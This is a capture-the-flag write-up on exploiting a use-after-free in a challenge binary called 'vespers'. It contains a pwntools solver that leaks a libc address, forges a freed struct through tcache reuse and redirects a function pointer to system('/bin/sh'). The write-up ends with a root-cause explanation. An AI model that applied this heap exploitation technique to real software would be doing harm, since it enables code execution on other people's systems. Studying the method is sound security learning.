The object
typedef struct chorister {
char name[0x38]; // 0x00
void (*sing)(struct chorister *self); // 0x38 <- called as c->sing(c)
char *transcript; // 0x40
size_t transcript_len; // 0x48
int active; // 0x50
} chorister_t; // sizeof 0x58 -> chunk 0x60
Vulnerability
op_retire() frees c->transcript and c, then writes c->active = 0 into the
chunk it just freed, and never clears choir[idx]:
if (c->transcript) free(c->transcript);
free(c);
c->active = 0; // UAF write
op_restore() sets c->active = 1 on the same freed object, so every other
menu option now works on a dangling chorister_t.
tcache only overwrites the first 0x10 bytes of a freed chunk (fd and key), so
sing, transcript, transcript_len and active are all still there.
Target
glibc 2.35, Full RELRO, PIE, NX, canary. The hooks were removed in 2.34, so no
__free_hook. I didn’t need one: the program already makes an indirect call
with an argument I control, and since name[] is at offset 0, that argument
points straight at my text.
Exploit
The solver is pwntools, with a wrapper per menu option (recruit, retire,
restore, recite) over the same io:
from pwn import *
context.binary = ELF('./vespers', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
io = remote(args.HOST, int(args.PORT), timeout=20) if args.REMOTE else process('./vespers')
def menu(c):
io.recvuntil(b"> "); io.sendline(str(c).encode())
def retire(i):
menu(2); io.recvuntil(b"seat? "); io.sendline(str(i).encode())
- Recruit seat 0 with a
0x500transcript, and seat 1 as a guard so the big transcript isn’t next to the top chunk. - Retire and restore seat 0. The
0x510transcript is too big for tcache, so it goes to the unsorted bin withfd = bk = main_arena+96, and the object is freed but still marked active. op_recite(0)doeswrite(1, c->transcript, c->transcript_len)on the freed buffer, which prints the arena pointer.main_arena+96is atlibc+0x21ace0in this build.- Retire seat 1 so
tcache[0x60] = [C1, C0]. -
Recruit seat 2 with a
0x58transcript. The choristermallocgetsC1and the transcriptmallocgetsC0, which is the danglingchoir[0].read_exactthen writes0x58bytes of my data over the struct:forged = b"/bin/sh\x00".ljust(0x38, b"\x00") # name[] — also the argument forged += p64(libc.sym.system) # sing forged += p64(0) + p64(0) + p32(1) # transcript, len, active recruit(b"C", 0, 0x58, forged.ljust(0x58, b"\x00")) op_perform()goes through the active choristers and callschoir[0]->sing(choir[0]), which is nowsystem("/bin/sh").
Things that tripped me up
- The shipped libc has
main_arenastripped. I got the offset by checking against/proc/<pid>/mapsinstead of guessing. - stdout is set to
_IOFBFwithsetvbuf, so nothing gets flushed beforesystem()runs. Waiting for the “Performance begins” banner hangs forever, so talk to the shell directly. systemstarts withendbr64, so IBT on the binary doesn’t get in the way.
Root cause
One missing line. If choir[idx] were cleared on free, none of this would work.
The active flag doesn’t protect anything, because it’s stored inside the
allocation it’s meant to guard.
Solver: x.py